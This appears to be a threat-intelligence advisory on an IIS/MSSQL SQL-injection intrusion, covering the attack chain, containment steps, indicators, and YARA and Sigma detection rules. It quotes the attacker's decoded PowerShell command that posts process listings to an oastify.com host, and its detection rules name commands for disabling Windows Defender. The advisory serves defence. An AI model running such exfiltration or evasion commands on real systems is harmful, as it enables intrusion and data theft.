Threat Actors Achieve Persistence After SQL Injection

1. Executive summary

Huntress reports a June 2026 incident in which a threat actor achieved deep persistence on a Windows host via an SQL injection vulnerability in an IIS-hosted web application backed by Microsoft SQL Server. The attacker disabled Windows Defender, created a local administrator account, enabled Terminal Services, and installed known BadIIS modules (HttpFastCgiModule.dll, HttpCgiModule.dll) using appcmd.exe. No CVE has been resolved for the exploited SQL injection flaw, and no named threat actor has been attributed. EMEA financial services organisations running IIS/MSSQL stacks should treat this as a reminder that web-layer injection flaws remain a primary vector for full host compromise, persistence, and cryptominer deployment.

2. Regulatory framing

No specific DORA/NIS2 article is directly engaged by this item, as the incident involves a third-party tech-sector organisation and no confirmed impact on a regulated financial entity is described. If a client were affected by the same vector, DORA Art. 17 (ICT-related incident management process) and DORA Art. 18 (classification of ICT-related incidents and cyber threats) would be triggered by the detection of SQL injection–driven host compromise and persistence. DORA Art. 24 (digital operational resilience testing — general requirements) is relevant to the underlying vulnerability class (unvalidated user input in a web application).

3. Technical analysis & attack chain

Confirmed attack chain (single-sourced; verify before enforcement — all detail below is from the Huntress blog post dated 2026-07-13)

1. Initial access — SQL injection via IIS web application. The threat actor did not access the MSSQL instance (sqlservr.exe) directly. Instead, they located a web page on the IIS web server (co-located on the same endpoint as MSSQL) where user input was not properly validated. The actor exploited an SQL injection vulnerability to gain execution on the underlying host. No CVE identifier is available for this flaw.
2. Script delivery — base64-encoded PowerShell. The actor used base64-encoded PowerShell commands to download various scripts. Specific script names, URLs, or file paths for these downloads are not provided in the source.
3. Reconnaissance — process enumeration and exfiltration. The actor ran tasklist /svc to enumerate running processes and services. They exfiltrated the output to an OAST (Out-of-band Application Security Testing) / canary domain using the following decoded command:

powershell -Command "Invoke-WebRequest -Uri 'http[:]//334thribetlhkyo977gqrcht1k7bvdj2[.]oastify[.]com' -Method Post -Body $(tasklist /svc | Out-String)"

The use of an oastify.com subdomain is consistent with Burp Suite Collaborator / OAST-style infrastructure for out-of-band data exfiltration.

4. Persistence — Terminal Services enablement and local admin account creation. The actor enabled Terminal Services (Remote Desktop Services) on the endpoint. They created a new user account named adminweb2$ and added it to the local Administrators group. They then used this account to authenticate via the newly-enabled Terminal Services (RDP).
5. Defensive evasion — Windows Defender disabled. The actor disabled Windows Defender. Notably, they did not attempt to disable or tamper with other installed security services such as EDR monitoring. Specific method (registry key, PowerShell cmdlet, or Group Policy) is not described in the source.
6. Persistence / backdoor — BadIIS module installation. The actor used appcmd.exe to install known BadIIS modules: - HttpFastCgiModule.dll - HttpCgiModule.dll

These are associated with the BadIIS malware family, which abuses IIS extension modules for persistence, traffic interception, and covert access. The source was truncated before fully describing post-installation behaviour.

7. Impact — cryptominer installation. The blog title and summary reference quiet installation of a cryptominer. Specific miner binary names, mining pool domains, or process names are not provided in the available source text.

Confidence caveat: All technical detail above is single-sourced from the Huntress blog post. No independent corroboration is available. No MITRE ATT&CK technique IDs, no malware family attribution beyond "BadIIS," and no CVE are resolved in the verified reference data. Attribution to a named threat actor is unconfirmed — none is claimed in the source.

4. Mitigation & containment

P1 — Within 24 hours

• Hunt for the persistence account. Check all Windows endpoints and servers for the account adminweb2$ and any account with a trailing $ in the username (which mimics computer account naming to evade casual review): net user adminweb2$ net localgroup Administrators Remove any unauthorised accounts from the local Administrators group and disable/delete them.
• Hunt for BadIIS modules. Check IIS for unrecognised modules: %windir%\system32\inetsrv\appcmd.exe list modules Look specifically for HttpFastCgiModule.dll and HttpCgiModule.dll. If present and not part of a legitimate IIS configuration, remove them: %windir%\system32\inetsrv\appcmd.exe uninstall module <module_name>
• Block the OAST canary domain. Add 334thribetlhkyo977gqrcht1k7bvdj2.oastify.com and the broader oastify.com domain to DNS blocklists / proxy sinkhole rules, unless legitimately used by internal security testing teams.
• Check Windows Defender status. Verify Defender is enabled on all endpoints: Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled Re-enable if disabled. Investigate any unauthorised tampering events (Event ID 5001 in System log, or Microsoft-Windows-Windows-Defender operational log).
• Check Terminal Services configuration. Verify RDP is not unexpectedly enabled on endpoints where it should not be: Get-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" A value of 0 means RDP is enabled. Investigate any unauthorised changes.

P2 — Within 72 hours

• Audit web applications for SQL injection. All IIS-hosted applications with MSSQL backends should be reviewed for input validation failures. Prioritise pages accepting user input that construct SQL queries without parameterised queries or stored procedures. Run authenticated and unauthenticated DAST scans.
• Review MSSQL and IIS logs. On co-located IIS/MSSQL hosts, correlate IIS W3SVC logs with MSSQL error logs and SQL Server audit logs for anomalous queries, xp_cmdshell execution, or unexpected login activity around 26 June 2026.
• Search for base64-encoded PowerShell. Query endpoint logs for encoded PowerShell execution: powershell -EncodedCommand powershell -e powershell -enc Review Script Block Logging (Event ID 4104) and PowerShell operational logs for decoded content matching the recon or download patterns described above.

P3 — Within 7 days

• Enforce parameterised queries. Ensure all database access from web applications uses parameterised queries or ORM-based input handling. Eliminate dynamic SQL string construction from user input.
• Restrict appcmd.exe execution. If IIS administration is not routinely performed via appcmd.exe, restrict its execution using AppLocker or WDAC to authorised admin accounts only.
• Monitor for IIS module installation. Deploy file integrity monitoring on the IIS configuration (applicationHost.config) and the inetsrv directory. Alert on any new module registration.
• Enable MSSQL audit logging. Ensure xp_cmdshell is disabled unless explicitly required, and audit all xp_cmdshell usage. Enable SQL Server Audit for login failures, successful logins from unexpected sources, and DDL/DML events on sensitive databases.

5. Indicators of compromise

domain  334thribetlhkyo977gqrcht1k7bvdj2.oastify.com
filename  HttpFastCgiModule.dll
filename  HttpCgiModule.dll
username  adminweb2$

6. Detection

rule BadIIS_Huntress_2026_07 {
    meta:
        author = "Adverse Trace"
        date = "2026-07-13"
        reference = "https://www.huntress.com/blog/sql-injection-attacker-persistence"
        description = "Detects BadIIS module DLLs observed in Huntress incident reporting"
    strings:
        $module1 = "HttpFastCgiModule.dll" ascii nocase
        $module2 = "HttpCgiModule.dll" ascii nocase
        $oast_domain = "334thribetlhkyo977gqrcht1k7bvdj2.oastify.com" ascii nocase
        $account = "adminweb2$" ascii nocase
    condition:
        2 of them
}

title: Suspicious Local Admin Account Creation with Trailing Dollar Sign
id: at-2026-07-13-288-sigma-01
status: experimental
description: Detects creation of a local user account ending in '$' added to the Administrators group, as observed in Huntress SQL injection persistence incident
references:

    - https://www.huntress.com/blog/sql-injection-attacker-persistence
author: Adverse Trace
date: 2026/07/13
logsource:
    product: windows
    service: security
detection:
    selection_event:
        EventID:

            - 4720  # user account created
            - 4732  # member added to local group
    filter_account:
        MemberName|contains: '$'
    filter_group:
        TargetUserName: 'Administrators'
    condition: selection_event and filter_account
falsepositives:

    - Legitimate computer account naming conventions (rare for local user creation)
level: high

title: BadIIS Module Installation via appcmd.exe
id: at-2026-07-13-288-sigma-02
status: experimental
description: Detects use of appcmd.exe to install IIS modules matching known BadIIS module names
references:

    - https://www.huntress.com/blog/sql-injection-attacker-persistence
author: Adverse Trace
date: 2026/07/13
logsource:
    product: windows
    category: process_creation
detection:
    selection_process:
        Image|endswith: '\appcmd.exe'
        CommandLine|contains:

            - 'install'
            - 'module'
    selection_module:
        CommandLine|contains:

            - 'HttpFastCgiModule.dll'
            - 'HttpCgiModule.dll'
    condition: selection_process and selection_module
falsepositives:

    - Legitimate IIS module installation by authorised administrators
level: high

title: Windows Defender Disabled via Command Line
id: at-2026-07-13-288-sigma-03
status: experimental
description: Detects attempts to disable Windows Defender, consistent with post-exploitation evasion observed in Huntress incident
references:

    - https://www.huntress.com/blog/sql-injection-attacker-persistence
author: Adverse Trace
date: 2026/07/13
logsource:
    product: windows
    category: process_creation
detection:
    selection_powershell:
        Image|endswith: '\powershell.exe'
        CommandLine|contains:

            - 'Set-MpPreference'
            - 'DisableRealtimeMonitoring'
            - 'DisableAntiSpyware'
    selection_reg:
        Image|endswith: '\reg.exe'
        CommandLine|contains:

            - 'Windows Defender'
            - 'DisableAntiSpyware'
    selection_sconfig:
        Image|endswith: '\sc.exe'
        CommandLine|contains:

            - 'stop'
            - 'WinDefend'
    condition: selection_powershell or selection_reg or selection_sconfig
falsepositives:

    - Legitimate administrative reconfiguration (should be rare and documented)
level: high

7. Sources

• Huntress, "Threat Actors Achieve Persistence After SQL Injection," https://www.huntress.com/blog/sql-injection-attacker-persistence, published 2026-07-13.

8. Adverse Trace position

This incident illustrates a straightforward but effective post-exploitation chain: an unpatched SQL injection in an IIS-hosted application gave an attacker full host-level control, which they used to establish multiple persistence mechanisms (local admin account, RDP enablement, BadIIS modules) and deploy a cryptominer. No CVE is resolved for the injection flaw, and no named actor attribution is confirmed — all detail is single-sourced from Huntress. The techniques are unsophisticated and broadly applicable to any organisation running IIS/MSSQL stacks with inadequate input validation. EMEA financial services clients should prioritise P1 hunting actions for the specific IOCs (account name adminweb2$, BadIIS module DLLs, OAST domain) and treat the broader mitigation guidance as a baseline hardening checklist for IIS/MSSQL endpoints. Adverse Trace will monitor for additional corroboration or related campaigns and update this advisory if further detail emerges on the cryptominer payload or the exploited vulnerability.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.